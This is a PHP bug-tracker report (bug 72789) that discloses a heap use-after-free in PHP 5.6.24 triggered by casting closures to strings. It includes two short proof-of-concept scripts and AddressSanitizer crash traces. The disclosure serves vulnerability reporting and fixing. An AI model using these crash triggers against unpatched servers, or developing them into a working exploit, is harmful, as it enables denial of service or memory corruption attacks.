Edit report at https://bugs.php.net/bug.php?id=72789&edit=1
ID: 72789
Updated by: stas@php.net
Reported by: fernando at null-life dot com
Summary: closure casting causes use after free
Status: Open
-Type: Security
+Type: Bug
Package: Reproducible crash
Operating System: *
PHP Version: 5.6.24
Block user comment: N
Private report: Y
Previous Comments:
------------------------------------------------------------------------
[2016-08-09 00:47:35] fernando at null-life dot com
Description:
------------
Use after free is caused when closure objects are casted to strings. It's necessary to continue
recoverable exception for it to happen.
Source code:
https://github.com/php/php-src/blob/PHP-5.6.24/Zend/zend_operators.c#L640
ZEND_API void _convert_to_string(zval *op ZEND_FILE_LINE_DC) /* {{{ */
{
long lval;
double dval;
switch (Z_TYPE_P(op)) {
...
case IS_OBJECT: {
TSRMLS_FETCH();
convert_object_to_type(op, IS_STRING, convert_to_string);
if (Z_TYPE_P(op) == IS_STRING) {
return;
}
zend_error(E_NOTICE, "Object of class %s to string conversion",
Z_OBJCE_P(op)->name);
zval_dtor(op);
Z_STRVAL_P(op) = estrndup_rel("Object", sizeof("Object")-1);
Z_STRLEN_P(op) = sizeof("Object")-1;
break;
...
Test script:
---------------
poc1:
<?php
function myErrorHandler($errno, $errstr, $errfile, $errline) {
if ( E_RECOVERABLE_ERROR===$errno ) {
return true;
}
return false;
}
set_error_handler('myErrorHandler');
$f = function() { return 0; };
$r = NULL;
openssl_pkcs12_export($f, $r, "", "");
var_dump($f);
poc2.php:
<?php
function myErrorHandler($errno, $errstr, $errfile, $errline) {
if ( E_RECOVERABLE_ERROR===$errno ) {
return true;
}
return false;
}
set_error_handler('myErrorHandler');
$f = function() { return 0; };
spl_autoload_register($f);
mb_detect_encoding("encoding", $f);
get_class_vars("class");
Expected result:
----------------
No crash
Actual result:
--------------
POC1
==13079==ERROR: AddressSanitizer: heap-use-after-free on address 0x60300004cbb5 at pc 0x000001bfad5e
bp 0x7ffd5de44d10 sp 0x7ffd5de44d00
READ of size 1 at 0x60300004cbb5 thread T0
#0 0x1bfad5d in zend_send_by_var_helper_SPEC_CV
/home/operac/build2/php-src-56/Zend/zend_vm_execute.h:31209
#1 0x1c0463c in execute_ex /home/operac/build2/php-src-56/Zend/zend_vm_execute.h:363
#2 0x194c382 in zend_execute_scripts /home/operac/build2/php-src-56/Zend/zend.c:1341
#3 0x169a2df in php_execute_script /home/operac/build2/php-src-56/main/main.c:2613
#4 0x1d64366 in do_cli /home/operac/build2/php-src-56/sapi/cli/php_cli.c:994
#5 0x4550a0 in main /home/operac/build2/php-src-56/sapi/cli/php_cli.c:1378
#6 0x7fee9943282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#7 0x4556b8 in _start (/home/operac/build2/bin/php+0x4556b8)
0x60300004cbb5 is located 21 bytes inside of 32-byte region [0x60300004cba0,0x60300004cbc0)
freed by thread T0 here:
#0 0x7fee9b9fc2ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
#1 0x1d58f64 in i_zval_ptr_dtor /home/operac/build2/php-src-56/Zend/zend_execute.h:80
#2 0x1d58f64 in zend_vm_stack_clear_multiple
/home/operac/build2/php-src-56/Zend/zend_execute.h:308
#3 0x1d58f64 in zend_do_fcall_common_helper_SPEC
/home/operac/build2/php-src-56/Zend/zend_vm_execute.h:650
#4 0x1c0463c in execute_ex /home/operac/build2/php-src-56/Zend/zend_vm_execute.h:363
#5 0x194c382 in zend_execute_scripts /home/operac/build2/php-src-56/Zend/zend.c:1341
#6 0x169a2df in php_execute_script /home/operac/build2/php-src-56/main/main.c:2613
#7 0x1d64366 in do_cli /home/operac/build2/php-src-56/sapi/cli/php_cli.c:994
#8 0x4550a0 in main /home/operac/build2/php-src-56/sapi/cli/php_cli.c:1378
#9 0x7fee9943282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
previously allocated by thread T0 here:
#0 0x7fee9b9fc602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x1ac3e2a in zend_assign_tmp_to_variable
/home/operac/build2/php-src-56/Zend/zend_execute.c:849
#2 0x1ac4476 in ZEND_ASSIGN_SPEC_CV_TMP_HANDLER
/home/operac/build2/php-src-56/Zend/zend_vm_execute.h:35523
#3 0x1c0463c in execute_ex /home/operac/build2/php-src-56/Zend/zend_vm_execute.h:363
#4 0x194c382 in zend_execute_scripts /home/operac/build2/php-src-56/Zend/zend.c:1341
#5 0x169a2df in php_execute_script /home/operac/build2/php-src-56/main/main.c:2613
#6 0x1d64366 in do_cli /home/operac/build2/php-src-56/sapi/cli/php_cli.c:994
#7 0x4550a0 in main /home/operac/build2/php-src-56/sapi/cli/php_cli.c:1378
#8 0x7fee9943282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
SUMMARY: AddressSanitizer: heap-use-after-free
/home/operac/build2/php-src-56/Zend/zend_vm_execute.h:31209 zend_send_by_var_helper_SPEC_CV
POC2
==13091==ERROR: AddressSanitizer: heap-use-after-free on address 0x612000005778 at pc 0x0000018d28f2
bp 0x7ffea0002870 sp 0x7ffea0002860
READ of size 4 at 0x612000005778 thread T0
#0 0x18d28f1 in zend_call_function /home/operac/build2/php-src-56/Zend/zend_execute_API.c:706
#1 0x19f9868 in zend_call_method /home/operac/build2/php-src-56/Zend/zend_interfaces.c:97
#2 0x11a8f1a in zif_spl_autoload_call /home/operac/build2/php-src-56/ext/spl/php_spl.c:436
#3 0x18d0503 in zend_call_function /home/operac/build2/php-src-56/Zend/zend_execute_API.c:847
#4 0x18d5285 in zend_lookup_class_ex /home/operac/build2/php-src-56/Zend/zend_execute_API.c:1005
#5 0x19def65 in zif_get_class_vars
/home/operac/build2/php-src-56/Zend/zend_builtin_functions.c:971
#6 0x1d5b393 in zend_do_fcall_common_helper_SPEC
/home/operac/build2/php-src-56/Zend/zend_vm_execute.h:558
#7 0x1c0463c in execute_ex /home/operac/build2/php-src-56/Zend/zend_vm_execute.h:363
#8 0x194c382 in zend_execute_scripts /home/operac/build2/php-src-56/Zend/zend.c:1341
#9 0x169a2df in php_execute_script /home/operac/build2/php-src-56/main/main.c:2613
#10 0x1d64366 in do_cli /home/operac/build2/php-src-56/sapi/cli/php_cli.c:994
#11 0x4550a0 in main /home/operac/build2/php-src-56/sapi/cli/php_cli.c:1378
#12 0x7fdc66c2a82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#13 0x4556b8 in _start (/home/operac/build2/bin/php+0x4556b8)
0x612000005778 is located 56 bytes inside of 296-byte region [0x612000005740,0x612000005868)
freed by thread T0 here:
#0 0x7fdc691f42ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
#1 0x1a8a83f in zend_objects_store_del_ref_by_handle_ex
/home/operac/build2/php-src-56/Zend/zend_objects_API.c:226
#2 0x1a8acad in zend_objects_store_del_ref
/home/operac/build2/php-src-56/Zend/zend_objects_API.c:178
#3 0x18fa5f8 in _zval_dtor /home/operac/build2/php-src-56/Zend/zend_variables.h:35
#4 0x18fa5f8 in _convert_to_string /home/operac/build2/php-src-56/Zend/zend_operators.c:650
#5 0xdc5d10 in zif_mb_detect_encoding
/home/operac/build2/php-src-56/ext/mbstring/mbstring.c:3237
#6 0x1d5b393 in zend_do_fcall_common_helper_SPEC
/home/operac/build2/php-src-56/Zend/zend_vm_execute.h:558
#7 0x1c0463c in execute_ex /home/operac/build2/php-src-56/Zend/zend_vm_execute.h:363
#8 0x194c382 in zend_execute_scripts /home/operac/build2/php-src-56/Zend/zend.c:1341
#9 0x169a2df in php_execute_script /home/operac/build2/php-src-56/main/main.c:2613
#10 0x1d64366 in do_cli /home/operac/build2/php-src-56/sapi/cli/php_cli.c:994
#11 0x4550a0 in main /home/operac/build2/php-src-56/sapi/cli/php_cli.c:1378
#12 0x7fdc66c2a82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
previously allocated by thread T0 here:
#0 0x7fdc691f4602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x1a362ac in zend_closure_new /home/operac/build2/php-src-56/Zend/zend_closures.c:287
#2 0x1959ed0 in _object_and_properties_init /home/operac/build2/php-src-56/Zend/zend_API.c:1199
#3 0x1a380c0 in zend_create_closure /home/operac/build2/php-src-56/Zend/zend_closures.c:461
#4 0x1a9d143 in ZEND_DECLARE_LAMBDA_FUNCTION_SPEC_CONST_UNUSED_HANDLER
/home/operac/build2/php-src-56/Zend/zend_vm_execute.h:6820
#5 0x1c0463c in execute_ex /home/operac/build2/php-src-56/Zend/zend_vm_execute.h:363
#6 0x194c382 in zend_execute_scripts /home/operac/build2/php-src-56/Zend/zend.c:1341
#7 0x169a2df in php_execute_script /home/operac/build2/php-src-56/main/main.c:2613
#8 0x1d64366 in do_cli /home/operac/build2/php-src-56/sapi/cli/php_cli.c:994
#9 0x4550a0 in main /home/operac/build2/php-src-56/sapi/cli/php_cli.c:1378
#10 0x7fdc66c2a82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
SUMMARY: AddressSanitizer: heap-use-after-free
/home/operac/build2/php-src-56/Zend/zend_execute_API.c:706 zend_call_function
------------------------------------------------------------------------
--
Edit this bug report at https://bugs.php.net/bug.php?id=72789&edit=1